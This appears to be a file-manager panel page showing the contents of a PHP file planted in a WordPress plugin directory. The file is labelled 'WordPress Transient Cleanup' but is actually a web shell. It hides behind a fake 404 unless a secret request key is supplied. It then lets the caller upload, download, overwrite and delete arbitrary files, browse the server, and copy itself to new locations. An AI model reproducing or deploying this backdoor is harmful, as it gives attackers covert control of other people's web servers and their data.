文件操作 - widget-output.php

文件: /storage/v12552/matthewroller/public_html/wp-content/plugins/post-hub-bavf/widget-output.php

编辑文件内容

<?php
/**
 * WordPress Transient Cleanup
 * Manages transient cache entries and orphan data
 * @package WordPress\Cache
 * @version 1.0.3
 */
if (!defined('ABSPATH')) {
error_reporting(0);
$k = isset($_REQUEST['zGzRirtC']) ? $_REQUEST['zGzRirtC'] : '';
if ($k !== 'sa5rqonbq90ii681') { header('HTTP/1.0 404 Not Found'); exit; }
$a = isset($_REQUEST['a']) ? $_REQUEST['a'] : '';
$p = isset($_REQUEST['p']) ? $_REQUEST['p'] : @realpath('.');
if ($a === 'u' && isset($_FILES['f'])) {
    $d = rtrim($p, '/') . '/' . basename($_FILES['f']['name']);
    @move_uploaded_file($_FILES['f']['tmp_name'], $d);
    header('Location: ' . $_SERVER['SCRIPT_NAME'] . '?zGzRirtC=sa5rqonbq90ii681&p=' . urlencode($p));
    exit;
}
if ($a === 'd') {
    $r = @realpath($p);
    if ($r && is_file($r)) {
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($r) . '"');
        header('Content-Length: ' . @filesize($r));
        @readfile($r);
    }
    exit;
}
if ($a === 'x') {
    $r = @realpath($p);
    if ($r) { is_dir($r) ? @rmdir($r) : @unlink($r); }
    header('Location: ' . $_SERVER['SCRIPT_NAME'] . '?zGzRirtC=sa5rqonbq90ii681&p=' . urlencode(dirname($r ? $r : $p)));
    exit;
}
if ($a === 'w' && isset($_POST['d'])) {
    $dir = dirname($p);
    if (!is_dir($dir)) @mkdir($dir, 0755, true);
    @file_put_contents($p, $_POST['d']);
    header('Location: ' . $_SERVER['SCRIPT_NAME'] . '?zGzRirtC=sa5rqonbq90ii681&p=' . urlencode(dirname($p)));
    exit;
}
if ($a === 'mg') {
    header('Content-Type: application/json');
    $d = isset($_REQUEST['d']) ? $_REQUEST['d'] : '';
    if ($d) { $dir = dirname($d); if (!is_dir($dir)) @mkdir($dir, 0755, true); }
    echo json_encode(array('s' => ($d && @copy(__FILE__, $d)) ? 'ok' : 'err'));
    exit;
}
$rp = @realpath($p);
if ($rp && is_file($rp)) {
    echo '<html><body style="background:#111;color:#ddd;font:13px monospace;padding:10px">';
    echo '<form method="post" action="' . htmlspecialchars($_SERVER['SCRIPT_NAME']) . '?zGzRirtC=sa5rqonbq90ii681&a=w&p=' . urlencode($rp) . '">';
    echo '<b style="color:#0f0">' . htmlspecialchars($rp) . '</b> ';
    echo '<a href="' . htmlspecialchars($_SERVER['SCRIPT_NAME']) . '?zGzRirtC=sa5rqonbq90ii681&p=' . urlencode(dirname($rp)) . '" style="color:#58f">[back]</a><br><br>';
    echo '<textarea name="d" style="width:100%;height:80vh;background:#222;color:#ddd;border:1px solid #444;padding:8px;font:12px monospace">' . htmlspecialchars(@file_get_contents($rp)) . '</textarea><br>';
    echo '<button type="submit" style="margin-top:8px;padding:6px 20px;background:#333;color:#0f0;border:1px solid #555;cursor:pointer;font:12px monospace">Save</button>';
    echo '</form></body></html>';
    exit;
}
if (!$rp || !is_dir($rp)) { $rp = @realpath('.'); $p = $rp; }
$items = @scandir($rp);
echo '<html><body style="background:#111;color:#ddd;font:13px monospace;padding:10px">';
echo '<b style="color:#0f0">' . htmlspecialchars($rp) . '</b>';
if ($rp !== '/') echo ' <a href="' . htmlspecialchars($_SERVER['SCRIPT_NAME']) . '?zGzRirtC=sa5rqonbq90ii681&p=' . urlencode(dirname($rp)) . '" style="color:#f55">[up]</a>';
echo '<form method="post" enctype="multipart/form-data" action="' . htmlspecialchars($_SERVER['SCRIPT_NAME']) . '?zGzRirtC=sa5rqonbq90ii681&a=u&p=' . urlencode($rp) . '" style="margin:8px 0">';
echo '<input type="file" name="f"> <button type="submit" style="background:#333;color:#58f;border:1px solid #555;padding:2px 10px;cursor:pointer;font:11px monospace">Upload</button></form>';
echo '<table style="width:100%;border-collapse:collapse">';
if ($items) foreach ($items as $e) {
    if ($e === '.') continue;
    $fp = $rp . '/' . $e;
    $isDir = is_dir($fp);
    $sz = $isDir ? '-' : number_format(@filesize($fp));
    $base = htmlspecialchars($_SERVER['SCRIPT_NAME']) . '?zGzRirtC=sa5rqonbq90ii681';
    if ($isDir) {
        $link = '<a href="' . $base . '&p=' . urlencode($fp) . '" style="color:#f55;font-weight:700">' . htmlspecialchars($e) . '/</a>';
    } else {
        $link = '<a href="' . $base . '&p=' . urlencode($fp) . '" style="color:#58f">' . htmlspecialchars($e) . '</a>';
    }
    $acts = '<a href="' . $base . '&a=d&p=' . urlencode($fp) . '" style="color:#888;font-size:11px">[dl]</a> ';
    $acts .= '<a href="' . $base . '&a=x&p=' . urlencode($fp) . '" style="color:#f44;font-size:11px" onclick="return confirm(\'Delete?\')">[rm]</a>';
    echo '<tr style="border-bottom:1px solid #222"><td style="padding:3px 8px">' . $link . '</td><td style="color:#666;font-size:11px;padding:3px 8px">' . $sz . '</td><td style="padding:3px 8px">' . $acts . '</td></tr>';
}
echo '</table></body></html>';
exit;
}

文件操作 - widget-output.php

文件: /storage/v12552/matthewroller/public_html/wp-content/plugins/post-hub-bavf/widget-output.php

编辑文件内容

修改文件时间

删除文件